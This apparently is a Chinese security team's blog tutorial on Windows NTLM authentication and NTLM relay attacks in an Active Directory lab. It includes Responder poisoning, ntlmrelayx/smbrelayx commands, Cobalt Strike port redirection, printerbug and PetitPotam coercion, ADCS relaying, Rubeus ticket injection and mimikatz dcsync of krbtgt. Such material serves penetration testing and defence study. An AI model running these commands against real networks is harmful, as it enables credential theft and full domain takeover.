师傅们关注一波,谢谢
HashRun安全团队是由本地学生自发组织的团队,团队方向:CTF,实战,安全研究,ATP等
B站:
团队今年6月低正式运营
此文章团队师傅博客地址:http://keepaha.com
NTLM认证
Windows 的身份认证方式有两种,一种是 NTLM 认证方式,即挑战Challenge/响应Response机制;另外一种就是 Kerberos 认证方式。早期, Windows 域环境下使用 NTLM 作为认证方式,后来采用了 Kerberos 协议。在默认环境下, NTLM认证和 Kerberos 认证同时存在于域环境下。当我们指定主机名的时候,会选用 Kerberos 来作为认证方式。
而当指定主机 ip 的时候,会采用 NTLM 认证方式。
NTLM 身份认证可以分为两种,一种是本地认证,一种是网络认证。
本地认证
Windows 将用户的密码存储在本地计算机的 SAM 文件中,文件位置:C:\Windows\System32\config\SAM 。密码的存储以 NTLM Hash 的方式进行存储。当用户输入密码进行本地认证时,首先系统会将明文密码处理成 NTLM Hash ,然后与 SAM 文件中的 Hash 进行比较,相同则认证通过。同时,会在 lsass.exe 进程中,保存一份明文密码。当获取到一台主机权限之后,可以利用 mimikatz 从 lsass 进程中导出密码,但是 Server 2012R2 以后版本及 Win10 默认是不存储明文密码。
网络认证
NTLM 的网络认证,仔细细分可以分为工作组环境下的认证和域环境下的认证。大致原理相同,都是采用 Challenge/Response 验证机制。唯一不同点是,服务端会向域控请求校验。1.(交互式登录到某客户机)用户使用:域名、用户名、密码,登陆到某台客户端。客户端计算并存储用户密码的加密散列值(Hash),然后将真实的密码丢掉(即不保存用户真实的密码)2.客户端将用户名以纯文本的方式发送到要访问的服务器3.服务器产生一个 16 字节的随机数并将该随机数发送给客户端,该随机数通常称为:挑战(Challenge),并在本地缓存该Challenge
4.客户端使用用户密码的散列值加密服务器发送过来的 Challenge,并将结果发回给服务器, 该步骤通常称为:应答 (Response)5.服务器将下面三项内容发送到域控制器 (Domain Controller)用户名、缓存的Challenge、从客户端收到的经过加密的Challenge6.域控制器使用 用户名 从安全账号管理数据库 (Security Account Manager database)中获得用户密码的散列值, 并使用获得的密码散列值来加密 Challenge 7.域控制器比较步骤(6)中计算得到的加密后的 Challenge值与步骤(4)中客户端加密得到的Response,如果两者一致,则认证通过
中继攻击原理解析
NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的NetNTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。自从 MS08-068 漏洞修复之后无法再将 Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。就是A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在ActiveDirectory网络中只有域控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护。进行NTLM Relay攻击有两步:
第一步是捕获Net-NTLM Hash
第二步是重放Net-NTLM Hash
攻击的关键是如何中间截获数据包,获取到 Net-NTLM Hash 值。下面介绍一些常见的捕获 Net-NTLMHash 方法。
怎么发起NTLM请求
Windows内网协议学习NTLM篇之发起NTLM请求 - 安全客,安全资讯平台 (anquanke.com)这篇文章介绍的很详细
捕获Net-NTLM Hash
捕获Net-NTLM Hash又有两步:
第一步是需要使目标服务器向攻击者发起NTLM请求
第二步是使用工具来捕获服务器发来的NTLM请求
那么如何能使目标服务器向攻击者发起NTLM请求呢?由于SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击比如浏览器、office word文档、pdf文档、explorer等。如果新发现一个这类应用程序,或者发现这些程序的一种调用方法,就会多出一种攻击手段。
利用LLMNR和NetBIOS欺骗获得Net-NTLMHash
LLMNR
LLMNR 是一种基于协议域名系统(DNS)数据包的格式,使得两者的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机,因此也称作多播 DNS。监听的端口为 UDP/5355,支持 IP v4 和 IP v6 ,并且在 Linux 上也实现了此协议。其解析名称的特点为端到端,IPv4 的广播地址为 224.0.0.252,IPv6 的广播地址为 FF02:0:0:0:0:0:1:3 或 FF02::1:3。
Windows系统名称解析顺序
1.本地hosts文件(%windir%\System32\drivers\etc\hosts)2.DNS缓存/DNS服务器3.链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash
启动Responder准备毒化,这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应
responder -I eth0在域控上随便传递一个SMB流量
net use \\NtlmRelay成功捕获Net-NTLMHash,可以看到这里
利用WPAD劫持获得Net-NTLMHash
WPADWPAD(Web Proxy Auto-Discovery Protocol) 是 Web 代理自动发现协议的简称,该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网。当系统开启了代理自动发现功能后,用户使用浏览器上网时,浏览器就会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器中下载一个名为 PAC(Proxy AutoConfig) 的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件,并将相应的代理服务器设置到用户的浏览器中。在请求 WPAD 的过程中,如果服务端要求 401 认证,部分浏览器和应用将会自动用当前用户凭证进行认证
攻击流程为:在当前网段进行投毒,通过 WPAD 欺骗,让用户来向我们进行 NTLM 认证,再将认证请求Net-NTLMHash中继到其他机器。当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。
responder
responder -I eth0 -v -F on -w onResponder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码
此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。最后,我们可以看到他们的NetNTLM Hash
利用
注:中继的用户需要是域管理员权限才行
Responder
环境
kali 攻击机 IP:192.168.88.129Server-2016 IP:192.168.88.131 DCWIN10 主机名 EAS111 IP:192.168.88.140 域内普通机器WIN10 主机名 EAS3 IP:192.168.88.135 域内普通机器在进行攻击之前,先使用Responder内的RunFinger.py脚本查看域内主机的SMB端口开放情况
./RunFinger.py -i 192.168.88.0/24发现除了域控(192.168.88.131)其他的SMB签名都是关闭的的确定好目标主机关闭了SMB签名后使用MultiRelay.py进行攻击,由于域控打开了smb签名,所以只能对其他机器下手
python3 MultiRelay.py -t 192.168.88.140 -u ALL然后在域控访问kali
net use \\192.168.88.129 /user:edu\Administrator chen@2023Impacket
smbrelayx.py
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1的 Net-NTLM Hash 重放给 Client2
先在kali上运行smbrelayx.py
python3 smbrelayx.py -h 192.168.88.135 -c whoami再在域控上运行
net use \\192.168.88.129 /user:edu\Administrator chen@2023可以看到返回了命令执行后的效果,以及使用的Net-Hash值
ntlmrelayx.py
ntlmrelayx.py 脚本可以直接用现有的hash去尝试重放指定的机器首先先配置responder的配置文件,关闭对SMB和HTTP的监听,然后再启动
responder -I eth0执行ntlmrelayx脚本
python3 ntlmrelayx.py -t 192.168.88.140 -c ipconfig在域控上访问kali
net use \\192.168.88.129 /user:edu\Administrator chen@2023成功中继执行命令
实战
在实际的网络拓扑环境下,一般都是通过团队服务器向目标主机上传一个 beacon 后获取权限。此时进行中继攻击就会存在几个问题,比如:目标445端口已经被占用,所以不能直接嗅探该端口传入的流量。又或者目标 Windows 主机上没有一些语言环境,操作不方便。我们也不可能被动等待他人的触发,这样不确定性就太多了。因此,在对抗过程中,可以使用端口流量的重定向,以及流量转发,代理来实现攻击机通过TeamServer 攻击内网。PortBender 工具可以用于端口流量的重定向,工具地址: ,将 PortBender.cna 和 PortBender.dll 放在同一个目录,并将 PortBender.cna导入到 Cobalt Strike 中。
当获取一个 SYSTEM 权限的 beacon 之后,通过 upload 命令将 WinDivert64.sys 或者WinDivert32.sys 上传到目标主机(根据目标主机的类型),然后执行:
权限要管理员才行
upload /tool/NeiWang/PortBender/WinDivert64.sysPortBender redirect 445 8445此时会将445端口的流量重定向到8445端口
接下来配置 rportfwd
Cobalt Strike 工具自带的 rportfwd ,用于远程端口转发,即将目标机器的某个端口流量全部转发到远端指定的一个端口,命令如下:
rportfwd 8445 192.168.80.131 445表示将此台(受控端)主机8445端口的流量转发到攻击机(192.168.80.131)的445端口上。也就是说445端口的流量此时通过重定向,发送给了8445端口,由于远程端口转发,本地8445端口流量全部转发到远程主机的445端口上。
此时设置一个代理,通过代理运行 nltmrelayx.py 进行中继攻击的监听:
# 配置代理/etc/proxychains4.confsocks4 192.168.80.130 1080# 中继攻击监听proxychains python3 smbrelayx.py -h 192.168.88.135 -c type C:\1.txt#在域控上执行IPC连接net use \\192.168.88.140\ipc$ /user:edu\administrator chen@2023成功中继到192.168.88.135机器上。单纯利用这种方式被动的等待比较鸡肋。在这种情况下并不是进行被动收集 Net-NTLM Hash ,而是通过主动攻击的方式。
Spooler打印机漏洞
中继攻击监听
proxychains python3 smbrelayx.py -h 192.168.88.135 -c type C:\1.txt利⽤socks触发强制回连
proxychains python3 printerbug.py edu.org/eas11:chen@[email protected]成功触发中继
利用PetitPotam 中继ADCS 接管域
在PrintNightmare爆发之后,很多企业会选择关闭spooler服务,使得Printerbug失效。在Printerbug逐渐失效的今天,PetitPotam来了,他也可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证。而且在低版本(16以下)的情况底下,可以匿名触发。
原理
使用PetitPotam代替Printerbug
在08和12的环境,默认在 网络安全:可匿名访问的命名管道 中有三个 netlogon 、 samr 、 lsarpc 。因此在这个环境下是可以匿名触发的,16以上这个默认就是空了,需要至少一个域内凭据。
利用
这篇文章从环境搭建到复现都讲的很清楚。
自己复现失败了,卡在认证这步。有师傅可以解答下吗?我的环境是DC Server2016,被控机器WIN10
贴上其他师傅复现的过程
域内定位CA机器需要域内用户
certutil -config - -ping测试与CA服务器的网络连通
可以看到,在默认情况下,证书注册服务、证书注册策略 web 服务、网络设备注册服务通过授权 http头支持协商身份验证,支持 kerberos 及 NTLM。所以攻击者可以在这里进行中继攻击。攻击机器开启本地监听并将证书颁发机构(CA)设置为目标,即目标DC 192.168.174.2
#格式:python printerbug.py domain/username:password@#示例:python3 printerbug.py hacke/testuser:test@[email protected] 192.168.174.129利用Spooler打印机服务漏洞强制认证
#格式:python printerbug.py domain/username:password@#示例:python3 printerbug.py hacke/testuser:test@[email protected] 192.168.174.129或者使用Petitpotam.py脚本
#格式:python Petitpotam.py -d domain -u username -p password#示例:python3 PetitPotam.py -d hacke.testlab -u Al1ex -p Kksvqm@123 192.168.174.129192.168.174.160得到证书信息
利用上面获取到的证书,获取TGT并注入
#格式:Rubeus.exe asktgt /user:/certificate:/ptt#示例:Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt查看票据信息,访问域控
可以利用mimikatz,进行导出hash
KERBEROS::Listlsadump::dcsync /user:krbtgt或者使用dcsync
lsadump::dcsync /all /csv然后就可以制作金票进行横向,制作后门。
下面是团队的公开交流群,欢迎师傅们加群讨论
(一群快满了)